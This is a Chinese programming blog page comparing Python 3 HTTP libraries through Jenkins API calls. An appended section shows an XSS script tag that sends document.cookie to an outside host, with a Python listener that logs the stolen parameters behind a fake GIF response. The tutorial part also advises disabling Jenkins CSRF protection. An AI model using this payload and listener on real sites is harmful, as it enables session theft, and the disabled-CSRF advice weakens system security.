python监听网络请求_Python3处理HTTP请求的实例

本文介绍了Python3中处理HTTP请求的几种方式,包括http.client、urllib、urllib3和requests。推荐使用requests库,因为它基于urllib3且使用简便。示例代码展示了如何使用requests进行GET和POST请求,并进行身份验证。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Python3处理HTTP请求的包:http.client,urllib,urllib3,requests

其中,http 比较 low-level,一般不直接使用

urllib更 high-level一点,属于标准库。urllib3跟urllib类似,拥有一些重要特性而且易于使用,但是属于扩展库,需要安装

requests 基于urllib3 ,也不是标准库,但是使用非常方便

个人感觉,如果非要用标准库,就使用urllib。如果没有限制,就用requests

# import http.client

# http_client = http.client.HTTPConnection('localhost',8080,timeout=10)

# http_client.request('get','/jenkins/api/json?pretty=true')

# response = http_client.getresponse()

# print(response.status)

# print(response.read())

# import urllib.request

# response = urllib.request.urlopen('http://localhost:8080/jenkins/api/json?pretty=true')

# print(response.status)

# print(response.read())

# import urllib3

# response = urllib3.PoolManager().request('get','http://localhost:8080/jenkins/api/json?pretty=true')

# print(response.status)

# import requests

# response = requests.get('http://localhost:8080/jenkins/api/json?pretty=true')

# print(response.status_code)

# print(response.text)

# print(response.json())

# print(response.reason)

import requests

from requests.auth import HTTPBasicAuth

response = requests.post('http://localhost:8080/jenkins/job/check_python_version/build',auth=('admin','wangmin'))

print (response.status_code)

print (response.reason)

print(response.headers)

jenkins系统管理=》Configure Global Security,取消勾选“防止跨站点请求伪造”

以上这篇Python3处理HTTP请求的实例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持脚本之家。

### 使用 Python 监听网络请求并获取 `GetImage.aspx` 图片 要通过 Python 实现对网络请求监听并获取特定图片(如 `GetImage.aspx` 生成的图片),可以结合 `socket` 和 `http.server` 模块来创建一个简易的 HTTP 监听服务器。该服务器可以接收来自远程请求的数据(如 Cookie 或参数),并记录相关信息。 以下是一个完整的实现示例,用于监听来自远程客户端的请求,并提取请求中的参数或 Cookie 信息: #### 启动本地 HTTP 服务器进行监听 ```python import http.server import socketserver PORT = 80 class MyRequestHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): # 打印完整的请求路径和参数 print(f"收到请求: {self.path}") # 提取请求中的参数(如 o=PHPSESSID=...) if &#39;?&#39; in self.path: query = self.path.split(&#39;?&#39;)[1] print(f"提取到参数: {query}") # 返回一个简单的 HTTP 响应 self.send_response(200) self.send_header("Content-type", "image/gif") self.end_headers() # 返回一个 1x1 像素的透明 GIF 图片(伪装成图片响应) self.wfile.write(b&#39;GIF89a\x01\x00\x01\x00\x80\xff\x00\xc0\xc0\xc0\x00\x00\x00!\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;&#39;) # 启动 HTTP 服务器 with socketserver.TCPServer(("", PORT), MyRequestHandler) as httpd: print(f"正在监听端口 {PORT}...") httpd.serve_forever() ``` 该脚本会启动一个 HTTP 服务器,监听在本地 80 端口。当远程客户端访问该服务器时,服务器会打印出请求路径和参数,并返回一个透明 GIF 图片以避免触发错误。 #### 通过 XSS 注入获取远程 Cookie 在实际攻击或测试场景中,可以通过注入一段 JavaScript 代码,诱导目标访问本地监听的服务器并携带敏感信息(如 Cookie): ```html <script> new Image().src="http://192.168.184.128/test.php?o="+document.cookie; </script> ``` 当目标访问包含该脚本的页面时,浏览器会尝试加载指定的图片,并将 Cookie 附加在请求参数中发送到本地监听的服务器。服务器端即可记录该请求并提取敏感信息[^1]。 #### 从 `GetImage.aspx` 获取图片 如果目标服务器通过 `GetImage.aspx` 动态生成图片,可以使用 `requests` 库发送请求并保存图片: ```python import requests url = &#39;http://example.com/GetImage.aspx&#39; params = { &#39;id&#39;: &#39;12345&#39; } headers = { &#39;User-Agent&#39;: &#39;Mozilla/5.0&#39; } response = requests.get(url, headers=headers, params=params) if response.status_code == 200: with open(&#39;output_image.jpg&#39;, &#39;wb&#39;) as f: f.write(response.content) print("图片已成功保存") else: print(f"请求失败,状态码:{response.status_code}") ``` ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值